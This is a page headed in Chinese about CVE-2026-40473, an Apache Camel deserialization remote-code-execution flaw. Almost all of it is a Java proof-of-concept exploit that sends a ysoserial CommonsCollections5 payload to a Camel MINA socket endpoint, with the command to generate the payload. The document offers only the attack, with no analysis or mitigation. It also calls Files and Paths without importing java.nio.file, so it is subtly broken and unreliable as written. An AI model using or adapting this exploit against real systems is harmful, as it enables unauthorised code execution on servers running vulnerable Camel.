CVE-2026-40473 Apache Camel反序列化RCE漏洞

import java.io.*; import java.net.*; // PoC for CVE-2026-40473: Apache Camel Mina Deserialization RCE // This PoC sends a malicious serialized Java object to a vulnerable MINA endpoint. public class CVE202640473_PoC { public static void main(String[] args) { String targetHost = "127.0.0.1"; // Target IP int targetPort = 8888; // Target Port (TCP/UDP) try { // 1. Generate malicious payload (using ysoserial for example) // Command: java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin byte[] payload = Files.readAllBytes(Paths.get("payload.bin")); // 2. Establish connection to the vulnerable Camel MINA consumer Socket socket = new Socket(targetHost, targetPort); OutputStream outputStream = socket.getOutputStream(); // 3. Send the malicious serialized object outputStream.write(payload); outputStream.flush(); System.out.println("[+] Payload sent to " + targetHost + ":" + targetPort); socket.close(); } catch (Exception e) { e.printStackTrace(); } } }